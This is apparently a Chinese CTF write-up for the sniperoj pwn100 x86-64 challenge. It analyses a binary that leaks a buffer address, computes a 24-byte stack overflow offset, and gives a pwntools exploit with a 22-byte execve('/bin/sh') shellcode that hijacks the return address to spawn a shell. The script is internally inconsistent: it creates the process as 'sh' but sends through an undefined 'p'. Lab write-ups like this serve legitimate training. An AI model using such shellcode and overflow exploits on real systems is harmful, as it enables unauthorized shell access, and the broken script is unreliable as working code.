sniperoj-pwn100-shellcode-x86-64
来源
本题来自ctfi-wiki,是基本ROP中shellcode的一道例题
查看保护
- 程序只开启了位置无关保护 PIE
- 并且有可写可执行的段
反汇编
- 发现程序中直接输出了buf的地址,所以PIE就不起作用了
- 可以看到,后面read函数还调用了buf,很显然就是要利用buf这个段了
- 然后在汇编代码发现调用read后,后面就紧跟着leave,这个操作会清空栈,故我们要使用buf前面的字节
计算偏移
从ida中可以看到,buf与rbp距离为10h,所以可以直接计算出偏移量 10h
为了防止ida出错,我们在gdb中也反汇编一下main函数,看看是否有差异(有时候ida会与gdb结果不同,以gdb为准)
- 可以看到二者是相符合的
- 发现可以利用的字节数只有 10h + 8 = 24 少于 pwntools中自动生成的shellcode的字节数,所以我们要去找占用更少字节的shellcode
- 这边推荐一个网站,里面的shellcode很丰富并且一直有在维护:https://www.exploit-db.com/shellcodes
exp
# -*- coding:utf-8 -*-
from pwn import *
# 22字节的shellcode
shellcode= b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
sh = process('./shellcode')
sh.recvuntil('[')
buf_addr = sh.recvuntil(']',drop=True) # 获取buf的地址,这边的drop=True表示舍弃 ']'
target_addr = int(buf_addr,16) + 24 + 8 # 指向shellcode的地址
p.sendline(24* b'a'+p64(target_addr)+shellcode)
p.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 使用C#创建一个MCP客户端
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 按钮权限的设计及实现